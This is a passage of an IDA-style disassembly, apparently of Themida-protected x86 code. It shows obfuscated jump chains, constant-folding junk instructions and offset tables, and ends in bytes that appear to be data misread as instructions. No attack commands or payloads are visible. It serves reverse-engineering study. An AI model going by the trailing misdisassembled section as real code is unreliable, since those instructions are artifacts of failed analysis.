loc_597EC3:				; CODE XREF: sub_59196D+1E77j
		mov	[esp+44h+var_44], esp
		push	ecx
		mov	ecx, 4
		add	[esp+48h+var_44], ecx
		pop	ecx
		pop	ebp
		push	edx
		mov	edx, 5ED507DAh
		not	edx
		shr	edx, 8
		sub	edx, 0A12AF4h
		add	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp+44h+var_44], eax
		mov	eax, 2
		add	ebp, eax
		mov	eax, [esp+44h+var_44]
		jmp	loc_58B738
; ---------------------------------------------------------------------------


loc_597EFE:				; CODE XREF: sub_59196D+208Bj
		mov	bh, ah
		push	ecx
		push	eax
		mov	ah, bh
		mov	cl, ah
		pop	eax
		jmp	loc_58EA5F
; ---------------------------------------------------------------------------


loc_597F0C:				; CODE XREF: sub_59196D+1C1Ej
		mov	[esp+2Eh+var_2E], ebp
		push	edi
		jmp	loc_58C2CD
; ---------------------------------------------------------------------------


loc_597F15:				; CODE XREF: sub_59196D-377Ej
		push	ecx
		not	dword ptr [esp+0]
		mov	ecx, [esp+0]
		push	edi
		mov	edi, esp
		jmp	loc_59397B
; ---------------------------------------------------------------------------


loc_597F24:				; CODE XREF: sub_59196D+2354j
		sub	edx, eax
		add	edx, 4BDD51CEh
		mov	eax, [esp+1Ch+var_1E+2]
		add	esp, 4
		push	edx
		pop	eax
		push	[esp+18h+var_1A+2]
		mov	edx, [esp+1Ch+var_1E+2]
		add	esp, 4
		jmp	loc_59085C
; ---------------------------------------------------------------------------


loc_597F48:				; CODE XREF: sub_59196D-5453j
		add	esp, 4
		pop	[esp+0Ah+var_C+2]
		pop	esp
		push	10A7h
		mov	[esp+6+var_8+2], ebp
		mov	ebp, 4F1C6558h
		push	ecx
		mov	ecx, 0EE15503h
		push	ebx
		mov	ebx, 4CB0261Fh
		sub	eax, ebx
		pop	ebx
		sub	eax, ecx
		add	eax, 4CB0261Fh
		pop	ecx
		add	eax, 4CD95517h
		jmp	loc_590C76
; ---------------------------------------------------------------------------


loc_597F7D:				; CODE XREF: sub_59196D+21D6j
		mov	ecx, [esp+14h+var_16+2]
		sub	esp, 4
		mov	[esp+18h+var_1A+2], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5936DE
; ---------------------------------------------------------------------------


loc_597F99:				; CODE XREF: sub_59196D-3003j
		pop	esp
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_597F9F:				; CODE XREF: sub_59196D+2BDCj
		mov	dl, cl
		mov	ecx, [esp+0]
		add	esp, 4
		sub	dl, 12h
		add	dl, al
		add	dl, 12h
		pop	eax
		not	dl
		inc	dl
		jmp	loc_58D0D5
; ---------------------------------------------------------------------------


loc_597FBC:				; CODE XREF: sub_59196D+5EEBj
		add	esp, 4
		sub	al, 81h
		sub	al, bl
		push	edx
		mov	dl, 2Eh
		sub	dl, 0ADh
		add	al, dl
		pop	edx
		mov	bx, word ptr [esp+2Ah+var_2A]
		jmp	loc_58E21D
; ---------------------------------------------------------------------------


loc_597FD8:				; CODE XREF: sub_59196D-4B61j
		mov	esp, [esp+20h+var_22+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	[esp+28h+var_26+2]
		pop	eax
		pop	[esp+28h+var_2A+2]
		pop	esp
		mov	[esp+20h+var_22+2], edx
		push	eax
		mov	eax, 26A226AEh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+28h+var_2A+2]
		pop	esp
		mov	[esp+24h+var_26+2], ebp
		jmp	loc_593DD1
; ---------------------------------------------------------------------------


loc_598014:				; CODE XREF: sub_59196D+3633j
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		push	edx
		push	25A8h
		mov	[esp+3Ch+var_3C], esp
		add	[esp+3Ch+var_3C], 4
		pop	edx
		jmp	loc_594AA1
; ---------------------------------------------------------------------------


loc_598041:				; CODE XREF: sub_59196D-2A87j
		jmp	loc_58D838
; ---------------------------------------------------------------------------


loc_598046:				; CODE XREF: sub_59196D:loc_593B76j
		xor	edx, 380639FFh
		jge	loc_5938AE
		jmp	loc_596AB2
; ---------------------------------------------------------------------------
		push	[esp+6+var_8+2]
		mov	edi, ecx


loc_59805C:				; CODE XREF: sub_59196D+31B2j
		jmp	loc_595241
; ---------------------------------------------------------------------------


loc_598061:				; CODE XREF: sub_59196D+C0Fj
		mov	ebx, esp
		push	edx
		push	ebp
		mov	ebp, 4
		mov	edx, ebp
		pop	ebp
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xor	ebx, [esp+10h+var_12+2]
		xor	[esp+10h+var_12+2], ebx
		xor	ebx, [esp+10h+var_12+2]
		pop	esp
		push	small 2D9Bh
		mov	[esp+0], bx
		push	ebx
		jmp	loc_58DFA6
; ---------------------------------------------------------------------------


loc_59808E:				; CODE XREF: sub_59196D-5D1Fj
					; Themida_:0058CA6Fj
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_598093:				; CODE XREF: sub_59196D+3BF9j
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+20h+var_22+2]
		pop	esp
		mov	[esp+1Ch+var_1E+2], ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_59055B
; ---------------------------------------------------------------------------


loc_5980B3:				; DATA XREF: Themida_:0058B114o
		mov	cx, word ptr [esp+1Ch+var_1E+2]
		jmp	loc_5971F6
; ---------------------------------------------------------------------------


loc_5980BC:				; CODE XREF: sub_59196D-331Cj
		add	esi, 1B657C3Ch
		add	edx, esi
		pop	esi
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5980CA:				; CODE XREF: sub_59196D+202Cj
		xchg	eax, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		mov	ax, word ptr [esp+2+var_4+2]
		sub	esp, 4
		mov	[esp+6+var_8+2], edi
		mov	edi, esp
		jmp	loc_593FF4
; ---------------------------------------------------------------------------


loc_5980E4:				; CODE XREF: sub_59196D+523Fj
		xor	esi, 10956C1Eh
		push	ebx
		jmp	loc_5906A0
; ---------------------------------------------------------------------------


loc_5980F0:				; CODE XREF: sub_59196D+5269j
		push	ebp
		mov	ebp, 316F1409h
		sub	edx, ebp
		jmp	loc_596A84
; ---------------------------------------------------------------------------


loc_5980FD:				; CODE XREF: sub_59196D-33ECj
		add	ebp, eax
		pop	eax
		pop	eax
		add	ebp, 2
		xchg	ebp, [esp+1Ch+var_1E+2]
		jmp	loc_59583F
; ---------------------------------------------------------------------------


loc_59810F:				; CODE XREF: sub_59196D+3CEj
		mov	esp, [esp+24h+var_26+2]
		jmp	loc_5915C7
; ---------------------------------------------------------------------------


loc_598117:				; CODE XREF: sub_59196D+516Dj
		add	[esp+34h+var_2E+2], eax
		pop	eax
		sub	esp, 4
		jmp	loc_597DCE
; ---------------------------------------------------------------------------


loc_598127:				; CODE XREF: sub_59196D+4513j
		push	175C4C1Dh
		pop	edx
		xor	edx, 7E776F14h
		neg	edx
		not	edx
		jmp	loc_59139A
; ---------------------------------------------------------------------------


loc_59813C:				; CODE XREF: sub_59196D+42CDj
		push	ecx
		jmp	loc_5935A0
; ---------------------------------------------------------------------------


loc_598142:				; CODE XREF: sub_59196D+5197j
		add	esp, 4
		jmp	loc_5929D1
; ---------------------------------------------------------------------------


loc_59814D:				; CODE XREF: sub_59196D+576Cj
		mov	edx, eax
		push	edx
		pop	edi
		mov	edx, [esp+20h+var_22+2]
		add	esp, 4
		pop	eax
		xor	[esp+18h+var_16+2], edi
		pop	edi
		pop	edi
		xor	edi, 292A2882h
		pop	ebp
		and	eax, edi
		push	[esp+0Ch+var_C]
		jmp	loc_58D41E
; ---------------------------------------------------------------------------


loc_59816F:				; CODE XREF: sub_59196D+286Fj
		mov	edx, ecx
		pop	ecx
		jmp	loc_590427
; ---------------------------------------------------------------------------


loc_598177:				; CODE XREF: sub_59196D-21F2j
		push	ebx
		push	ebp
		jmp	loc_591D89
; ---------------------------------------------------------------------------


loc_59817E:				; CODE XREF: sub_59196D+B38j
		mov	eax, esp
		jmp	loc_58FFE8
; ---------------------------------------------------------------------------


loc_598185:				; CODE XREF: sub_59196D+5F05j
		mov	[esp+0], edx
		push	45FC538Bh
		pop	edx
		and	edx, 5A801858h
		jmp	loc_58EBFE
; ---------------------------------------------------------------------------


loc_598199:				; CODE XREF: sub_59196D+116Cj
		mov	ecx, 58744531h
		jmp	loc_58F7EA
; ---------------------------------------------------------------------------


loc_5981A3:				; CODE XREF: sub_59196D-414Aj
		pop	esi
		xchg	eax, [esp+3Eh+var_40+2]
		pop	esp
		mov	cx, word ptr [esp+3Ah+var_3C+2]
		push	1B3Dh
		mov	[esp+3Eh+var_40+2], ebp
		jmp	loc_58BEBF
; ---------------------------------------------------------------------------


loc_5981B9:				; CODE XREF: sub_59196D+5BDj
		pop	[esp+1Ch+var_1E+2]
		add	[esp+18h+var_1A+2], 4
		jmp	loc_5938EA
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5911E9
; ---------------------------------------------------------------------------


loc_5981CE:				; CODE XREF: Themida_:0058FC04j
					; sub_59196D-C1Ej
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+18h+var_1A+2]
		mov	esp, [esp+18h+var_1A+2]
		push	ebp
		mov	ebp, 2
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp+18h+var_1A+2]
		mov	esp, [esp+18h+var_1A+2]
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ebx
		push	412Fh
		mov	[esp+20h+var_22+2], ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_58D695
; ---------------------------------------------------------------------------


loc_59820C:				; CODE XREF: sub_59196D+5F2Ej
		push	edx
		mov	edx, 4A754722h
		jmp	loc_5939BB
; ---------------------------------------------------------------------------


loc_598217:				; CODE XREF: sub_59196D+185Ej
		mov	ebx, 59290278h
		sub	ebx, 0D92891EDh
		add	eax, ebx
		pop	ebx
		add	ecx, eax
		jmp	loc_597C11
; ---------------------------------------------------------------------------


loc_59822C:				; CODE XREF: sub_59196D-5E3j
		mov	edx, 56637468h
		shr	edx, 6
		dec	edx
		jmp	loc_58B7E6
; ---------------------------------------------------------------------------


loc_59823A:				; CODE XREF: sub_59196D+4DF7j
		pop	edi
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		std
		push	0E0Eh
		mov	[esp+54h+var_54], esi
		push	7D140152h
		jmp	loc_597B2A
; ---------------------------------------------------------------------------


loc_598254:				; CODE XREF: sub_59196D+1367j
		add	edi, 171F7C72h
		jmp	loc_596C72
; ---------------------------------------------------------------------------


loc_59825F:				; DATA XREF: Themida_:0058B0A4o
		push	[esp+2+var_4+2]
		mov	eax, [esp+6+var_8+2]
		add	esp, 4
		jmp	loc_58BBF6
; ---------------------------------------------------------------------------


loc_59826D:				; CODE XREF: sub_59196D+4849j
		push	esi
		mov	esi, 4
		add	edx, 1C411A76h
		add	edx, esi
		sub	edx, 1C411A76h
		pop	esi
		xchg	edx, [esp+14h+var_16+2]
		pop	esp
		jmp	loc_5921A6
; ---------------------------------------------------------------------------


loc_59828B:				; CODE XREF: sub_59196D-5999j
		push	eax
		mov	eax, 21646E9Ch
		or	eax, 3F145E8Fh
		sub	eax, 0AA31AF3h
		shr	eax, 6
		jmp	sub_59069A
; ---------------------------------------------------------------------------


loc_5982A3:				; CODE XREF: sub_59196D-3777j
		pop	ebx
		xchg	edx, [esp+30h+var_32+2]
		pop	esp
		and	eax, ebp
		mov	ebp, [esp+2Ch+var_2E+2]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+2Ch+var_2E+2]
		pop	esp
		jmp	loc_595292
; ---------------------------------------------------------------------------


loc_5982CF:				; CODE XREF: sub_59196D+53A9j
		mov	esp, [esp+24h+var_26+2]
		jmp	loc_59251B
; ---------------------------------------------------------------------------
		push	[esp+24h+var_26+2]
		mov	ecx, [esp+28h+var_2A+2]
		push	1758h
		mov	[esp+2Ch+var_2E+2], ebp
		jmp	loc_5949CC
; ---------------------------------------------------------------------------


loc_5982EA:				; CODE XREF: sub_59196D-46BFj
		add	edx, 34826E12h
		jp	loc_58F0B1
		not	edx
		jmp	loc_592455
; ---------------------------------------------------------------------------


loc_5982FD:				; CODE XREF: sub_59196D-1D3Aj
		xor	[esp+14h+var_16+2], 61F4B69h
		push	[esp+14h+var_16+2]
		push	[esp+18h+var_1A+2]
		pop	ecx
		add	esp, 4
		add	esp, 4
		jmp	loc_598358
; ---------------------------------------------------------------------------


loc_59831C:				; CODE XREF: sub_59196D-300Bj
		pop	ebx
		jmp	loc_58F1C9
; ---------------------------------------------------------------------------


loc_598322:				; CODE XREF: sub_59196D-44ABj
		mov	edi, 4FF57753h
		sub	edi, 0EDC02973h
		add	eax, edi
		pop	edi
		pop	edx
		jmp	loc_58C5D7
; ---------------------------------------------------------------------------


loc_598336:				; CODE XREF: sub_59196D-831j
		mov	ecx, esi
		mov	esi, [esp-0Ch+arg_8]
		jmp	loc_58DEA4
; ---------------------------------------------------------------------------
		push	[esp-0Ch+arg_8]
		jmp	loc_59136C
; ---------------------------------------------------------------------------


loc_598348:				; CODE XREF: sub_59196D-3B1Ej
		neg	al
		push	ebx
		mov	bh, 6Ch
		jmp	loc_5951DE
; ---------------------------------------------------------------------------


loc_598352:				; CODE XREF: sub_59196D-27Ej
					; sub_59196D:loc_5941C2j
		pop	esp
		jmp	loc_5969FA
; ---------------------------------------------------------------------------


loc_598358:				; CODE XREF: sub_59196D+69AAj
		push	1D21h
		mov	[esp+14h+var_16+2], eax
		push	60422ECDh
		jmp	loc_59111B
; ---------------------------------------------------------------------------


loc_59836A:				; CODE XREF: sub_59196D-5FEBj
		push	ecx
		mov	ecx, 359F579Fh
		jmp	loc_59592E
; ---------------------------------------------------------------------------


loc_598375:				; CODE XREF: sub_59196D-DDj
		neg	ecx
		shl	ecx, 8
		add	ecx, 30AC2911h
		jmp	loc_5934CF
; ---------------------------------------------------------------------------


loc_598385:				; CODE XREF: sub_59196D-34DAj
					; sub_59196D+9CFj
		sub	esi, 0FFFFFFFFh
		shr	esi, 1
		shr	esi, 5
		push	edx
		mov	edx, 75BDB79Ch
		add	esi, edx
		push	[esp+1Ch+var_1E+2]
		mov	edx, [esp+20h+var_22+2]
		add	esp, 4
		add	esp, 4
		xor	eax, esi
		mov	esi, [esp+18h+var_1A+2]
		push	edx
		jmp	loc_58EC39
; ---------------------------------------------------------------------------


loc_5983B2:				; CODE XREF: sub_59196D+6214j
		mov	cx, bx
		pop	ebx
		add	ax, cx
		pop	cx
		jmp	loc_58C918
; ---------------------------------------------------------------------------


loc_5983C0:				; CODE XREF: sub_59196D-47B7j
		pop	ebp
		add	ebp, 4D6E69F1h
		pop	ecx
		mov	edi, [esp+14h+var_16+2]
		jmp	loc_597971
; ---------------------------------------------------------------------------


loc_5983D0:				; CODE XREF: sub_59196D-138Bj
					; sub_59196D-248j
		sub	edx, esi
		add	edx, 61863996h
		add	edx, 52596B1Eh
		push	ebp
		mov	ebp, 81607EFh
		dec	ebp
		not	ebp
		inc	ebp
		or	ebp, 532A234Ch
		xor	ebp, 0FFB8A15Eh
		sub	edx, ebp
		jmp	loc_58D1EA
; ---------------------------------------------------------------------------


loc_5983FB:				; CODE XREF: sub_59196D-54D5j
		pop	eax
		jmp	loc_597795
; ---------------------------------------------------------------------------


loc_598401:				; CODE XREF: sub_59196D+48B1j
		pop	[esp+20h+var_22+2]
		push	edi
		push	ebx
		push	ecx
		mov	ecx, 1A37026Ah
		sub	ecx, 1A2DB379h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5933EF
sub_59196D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_59841A:				; CODE XREF: sub_59196D+35Ej
		pop	edi
		add	edx, 41AE7914h
		jmp	loc_595F7B
; ---------------------------------------------------------------------------


loc_598426:				; CODE XREF: sub_59196D-3755j
		and	eax, ebp
		jmp	loc_597AD1
; ---------------------------------------------------------------------------


loc_59842D:				; CODE XREF: sub_59196D-5D72j
		mov	[esp+28h+var_2A+2], ebp
		push	esp
		pop	ebp
		sub	esp, 4
		jmp	loc_596A8A
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_59843D	proc near		; CODE XREF: sub_59196D+1B54j

; FUNCTION CHUNK AT 0058BB65 SIZE 0000000A BYTES

		sub	esp, 4
		jmp	loc_58BB65
sub_59843D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_598445:				; CODE XREF: sub_59196D-572j
		push	6205h
		mov	[esp+4Ch+var_4E+2], ecx
		mov	ecx, 2B04204Fh
		dec	ecx
		jge	loc_595970
		add	ecx, 0D4FBDFB6h
		mov	eax, ecx
		mov	ecx, [esp+4Ch+var_4E+2]


loc_598464:				; CODE XREF: sub_59196D+4A4Bj
		add	ebx, eax
		sub	ebx, 381702B7h
		add	ebx, 2D227159h
		jmp	loc_5903EA
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_598477	proc near		; CODE XREF: sub_59196D-425Ej
		push	ebp
		mov	ebp, 91F5464h
		add	ebp, 321F7695h
		push	edi
		mov	edi, 5C4A1AEFh
		sub	edi, 4AC9B149h
		add	ebp, edi
		pop	edi
		inc	ebp
		add	ebp, 0B340CB64h
		add	ecx, ebp
		jmp	loc_5922BB
sub_598477	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5984A0:				; CODE XREF: sub_59196D+5D17j
		and	ebx, 0F8146BBh
		jnb	loc_59361E
		sub	ebx, 9C148D21h
		mov	ah, 28h
		push	eax


loc_5984B6:				; CODE XREF: sub_59196D+150Cj
		pop	esp
		push	ecx
		mov	ecx, 766A0C77h
		sub	eax, ecx
		pop	ecx
		push	ebx
		push	eax
		mov	eax, 6F4D2608h
		jmp	loc_59097B
; ---------------------------------------------------------------------------


loc_5984CC:				; CODE XREF: sub_59196D+2293j
		mov	[esp+1Ch+var_1E+2], eax
		jmp	loc_58D1FB
; ---------------------------------------------------------------------------


loc_5984D4:				; CODE XREF: sub_59196D+1C2j
		xor	edi, 0CD9E54Ah
		jmp	loc_58EEBF
; ---------------------------------------------------------------------------


loc_5984DF:				; CODE XREF: sub_59196D-6385j
		mov	ebp, 10845853h
		mov	ebx, ebp
		pop	ebp
		and	ebx, 4D777DE8h
		jl	loc_5911F7
		sub	ebx, 0FFFFFFFFh
		shr	ebx, 7
		jz	loc_58BDA9
		jmp	loc_58E89C
; ---------------------------------------------------------------------------


loc_598507:				; CODE XREF: sub_59196D-79Fj
		xor	ecx, 6AB25BB1h
		sub	ecx, 83616976h
		shr	ecx, 4
		push	2650h
		mov	[esp+3Eh+var_40+2], esi
		mov	esi, 6DC42915h
		sub	ecx, 3CFF23D7h
		sub	ecx, esi
		add	ecx, 3CFF23D7h
		jmp	loc_591008
; ---------------------------------------------------------------------------


loc_598536:				; CODE XREF: sub_59196D+5D76j
		mov	cl, 1Ch
		jmp	loc_593268
; ---------------------------------------------------------------------------


loc_59853D:				; CODE XREF: sub_59196D-17D0j
		xor	ebx, 0E226B584h
		sub	eax, ebx
		pop	ebx
		jmp	sub_590717
; ---------------------------------------------------------------------------


loc_59854B:				; CODE XREF: sub_59196D-44DAj
		xor	edi, 0A7B55F74h
		mov	ebp, edi
		pop	edi
		jmp	loc_596463
; ---------------------------------------------------------------------------


loc_598559:				; CODE XREF: sub_59196D+1A3Fj
		mov	edx, 28h
		add	edx, edi
		jmp	loc_5921B0
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_59856D:				; CODE XREF: sub_59196D-365Ej
		push	esi
		mov	esi, 54D335EFh
		jmp	loc_58C163
; ---------------------------------------------------------------------------


loc_598578:				; CODE XREF: sub_59196D-1EA9j
		xor	eax, ebp
		jmp	loc_58ED82
; ---------------------------------------------------------------------------


loc_59857F:				; CODE XREF: sub_59196D+2B8j
		push	esi
		not	[esp+10h+var_12+2]
		jmp	loc_58BA16
; ---------------------------------------------------------------------------


loc_598588:				; CODE XREF: sub_59196D+33Ej
		push	[esp+14h+var_16+2]
		mov	ecx, [esp+18h+var_1A+2]
		jmp	loc_58E717
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_598593:				; CODE XREF: Themida_:0058E620j
		push	cx
		jmp	loc_58E833
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_59859A:				; CODE XREF: sub_59196D+5B36j
		push	edi
		mov	edi, 617B2254h
		push	ebp
		mov	ebp, 0A0054Ah
		jmp	loc_5928FF
; ---------------------------------------------------------------------------


loc_5985AB:				; CODE XREF: sub_59196D+53E8j
		mov	ebp, 18141694h
		and	ebp, 76F90B2Bh
		push	edi
		mov	edi, 4FD4A4Ah
		and	edi, 6250E60h
		jmp	loc_595A04
; ---------------------------------------------------------------------------


loc_5985C7:				; CODE XREF: sub_59196D+490j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		jmp	loc_593A4C
; ---------------------------------------------------------------------------


loc_5985DD:				; CODE XREF: sub_59196D+3A0j
		add	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+18h+var_1A+2], ebx
		push	[esp+18h+var_16+2]
		pop	ebx
		pop	[esp+18h+var_1A+2]
		pop	esp
		jmp	loc_58FA37
; ---------------------------------------------------------------------------


loc_5985F7:				; CODE XREF: sub_59196D-3ACEj
		pop	[esp+34h+var_36+2]
		jmp	loc_58F4A0
; ---------------------------------------------------------------------------


loc_5985FF:				; CODE XREF: sub_59196D-1C7Fj
		add	edi, 4
		add	edi, 4
		jmp	loc_592E01
; ---------------------------------------------------------------------------


loc_59860D:				; CODE XREF: sub_59196D+5BA4j
		pop	ecx
		push	376Eh
		mov	[esp+36h+var_36], ebx
		jmp	loc_58DC8A
; ---------------------------------------------------------------------------


loc_59861B:				; CODE XREF: sub_59196D+201Bj
		add	dl, bl
		pop	ebx
		add	al, dl
		jmp	loc_59105E
; ---------------------------------------------------------------------------


loc_598625:				; CODE XREF: sub_59196D-2F38j
					; sub_59196D+38C9j
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	ecx
		not	[esp+18h+var_1A+2]
		pop	ecx
		push	eax
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ecx
		push	[esp+1Ch+var_1E+2]
		pop	eax
		jmp	loc_58B9DE
; ---------------------------------------------------------------------------


loc_598642:				; CODE XREF: sub_59196D-402Dj
		and	esi, 491E2E55h
		add	esi, 0BFE1F5F2h
		jmp	loc_58E4A3
; ---------------------------------------------------------------------------


loc_598653:				; CODE XREF: sub_59196D+2153j
		xor	[esp+2Ah+var_2A], eax
		xor	eax, [esp+2Ah+var_2A]
		jmp	loc_5959BA
; ---------------------------------------------------------------------------


loc_59865E:				; CODE XREF: sub_59196D+3188j
		xchg	esi, [esp+32h+var_32]
		jmp	loc_58D0C9
; ---------------------------------------------------------------------------


loc_598666:				; CODE XREF: sub_59196D-5543j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59866B:				; CODE XREF: sub_59196D+20DAj
		xor	ah, dh
		xor	dh, ah
		xchg	cl, ah
		not	cl
		xchg	cl, ah
		xchg	ah, dh
		jmp	loc_594C4D
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		dd 0FFFF91ECh, 5F34C2h,	12FF4Ch, 7C90EB94h, 2672h, 5F4070h
		dd 0F85E3441h, 213h, 2,	1, 2, 0F85E3441h, 5 dup(0)
		dd offset loc_59D944
		dd offset loc_5A0E6C
		dd offset loc_5A0054
		dd offset loc_5A3C06
		dd offset loc_59D58E
		dd offset loc_5A7E52
		dd offset loc_59C424
		dd offset loc_5A7544
		dd offset loc_5AF010
		dd offset loc_59F582
		dd offset loc_5AE388
		dd offset loc_5AF5BC
		dd offset loc_5A8652
		dd offset loc_5A1B0A
		dd offset loc_5A7BF8
		dd offset loc_5A29BF
; ---------------------------------------------------------------------------
		jmp	short loc_598754
; ---------------------------------------------------------------------------
		dw 5Ah
		dd offset loc_5AC00E
		dd offset loc_5A7CFB
		dd offset loc_59A133
		dd offset byte_5A571F
		dd offset loc_5A2595
		dd offset loc_599BF1
		dd offset loc_599456
		dd offset loc_59B2A0
		dd offset byte_5AF9DD
		dd offset loc_5A14B7
		dd offset loc_5A68CE
		dd offset loc_59947B
		dd offset loc_5A7C8A
		dd offset off_5AF3B3
		dd offset loc_5A24F3
		dd offset loc_59B85F
		dd offset loc_5A0820
		dd offset loc_5A6A62
		dd offset loc_5A8213
		dd offset loc_5AC8A6
; ---------------------------------------------------------------------------


loc_598754:				; CODE XREF: Themida_:00598700j
		cmp	al, 0DCh
		pop	ecx
		add	[eax+6C005A2Dh], ch
		call	near ptr 0AF0187BCh
		pop	edx
		add	[edx], cl
		and	al, 5Ah
		add	[eax+5B0059BFh], al
		rcr	byte ptr [edx+0], 90h
		mov	ch, 5Ah
		add	[esi], ah
		retn
; ---------------------------------------------------------------------------
		pop	edx
		add	[eax+ebp*4+5Ah], ah
		add	[edi], bh
		leave
		pop	edx
		add	[ebx], bl
		cmc
		pop	ecx
		add	[ebx-20h], al
		pop	ecx
		add	[esi-4Eh], dh
		pop	edx
		add	[esp+ecx*2], cl
		pop	edx
		add	[ebp-5Dh], dl
		pop	edx
		add	[edi-25FFA55Fh], dl
		jmp	short loc_5987F4
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_5A2ACC
; ---------------------------------------------------------------------------
		retn	5A17h
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_59EC17
		dd offset loc_5A20FB
		dd offset loc_5AE202
		dd offset loc_5A69FB
		dd offset loc_5AB93E
		dd offset loc_5A457B
		dd offset loc_5AF529
		dd offset loc_5ADC7E
		dd offset loc_59D3E7
		dd offset loc_5AD13E
		dd offset loc_5A98C5
		dd offset loc_5AF9D0
		dd offset loc_5A6F32
		dd offset loc_5A0A23
		dd offset loc_5A4886
		dd offset loc_5A09BF
		dd offset loc_5AD448
		dd offset loc_5A25BF
		dd offset loc_5AF7A5
		dd offset loc_59E73C
; ---------------------------------------------------------------------------


loc_5987F4:				; CODE XREF: Themida_:00598799j
		dec	ebx
		cmpsd
		pop	ecx
		add	ds:0D10059A4h, bh
		test	eax, 42930059h
		pop	edx
		add	bl, bl
		lock pop ecx
		add	[esi-1Eh], dl
		pop	edx
		add	[ebx-3Ah], dh
		pop	ecx
		add	bl, ah
		xor	ebx, [edx+0]
		cwde
		xor	ebx, [edx+0]
		insd
		neg	byte ptr [edx+0]
		pop	ebp
		jmp	short loc_598879
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_5A3820
		dd offset loc_59B9F7
		dd offset byte_5AC685
		dd offset loc_5A8881
		dd offset loc_5A3A08
		dd offset loc_5994AE
		dd offset loc_5A103A
		dd offset loc_5A77BE
		dd offset loc_5A52AE
		dd offset loc_59B540
		dd offset loc_5A91AF
		dd offset loc_59CF34
		dd offset loc_599102
		dd offset loc_5A69DC
		dd offset loc_5A16E4
		dd offset loc_5ADC50
		dd offset loc_59BFF3
		dd offset loc_59EB1B
		dd offset loc_5AC0B4
		dd offset loc_5A23AA
		dd offset loc_5A30F9
		dd offset loc_5ADD8D
		db 2
; ---------------------------------------------------------------------------


loc_598879:				; CODE XREF: Themida_:0059881Dj
		test	eax, 0CBBD0059h
		pop	edx
		add	[eax+ecx+5Ah], bl
		add	[edx-0AFFA64Dh], bl
		db	64h
		pop	edx
		add	[esi+2Bh], al
		pop	edx
		add	[eax], dh
		xchg	eax, ecx
		pop	edx
		add	[edi-38h], bl
		pop	ecx
		add	[edi-3Eh], ah
		pop	edx
		add	[ebp+0Dh], ch
		pop	edx
		add	[esi-6Ah], dh
		pop	edx
		add	[ebx+64005A21h], dh
		pop	ss
		pop	edx
		add	[edi-6Bh], dl
		pop	edx
		add	[ebx-76h], ah
		pop	edx
		add	[edx], al
		setalc
		pop	edx
		add	cl, dh
		stosd
		pop	edx
		add	[edi+ebp*8-13B2FFA6h], dl
		pop	ecx
		add	dh, al
		mov	ds:0E0450059h, eax
		pop	edx
		add	ds:74005A4Fh, bl
		insb
		pop	edx
		add	[edi], dl
		jnz	short loc_598931
		add	[eax+7E005A67h], bl
		fstp	dword ptr [ecx+0]
		mov	es, word ptr [edx+1213005Ah]
		pop	edx
		add	[ecx], ah
; ---------------------------------------------------------------------------
		db 8Fh,	5Ah, 0
		dd offset loc_59EE04
		dd offset loc_5A2679
		dd offset loc_5A73EC
; ---------------------------------------------------------------------------
		shr	dword ptr [ebx], 1
		pop	edx
		add	dl, cl
		rcr	dword ptr [ecx+0], cl
		db	36h
		mov	esp, 57560059h
		pop	edx
		add	[edx], ch
		mov	byte ptr [ecx+0], 4
		mov	dword ptr [ecx+0], offset loc_5A6105
		movsb
		movsd
		pop	ecx
		add	[edx+edi], ch
		pop	edx
		add	[edx-25FFA504h], ah
		das
		pop	edx
		add	ds:99005AB9h, ch
		sti
		pop	edx
		add	[ebp-5Ch], ch
		pop	edx
		add	[ebx], bl


loc_598931:				; CODE XREF: Themida_:005988D5j
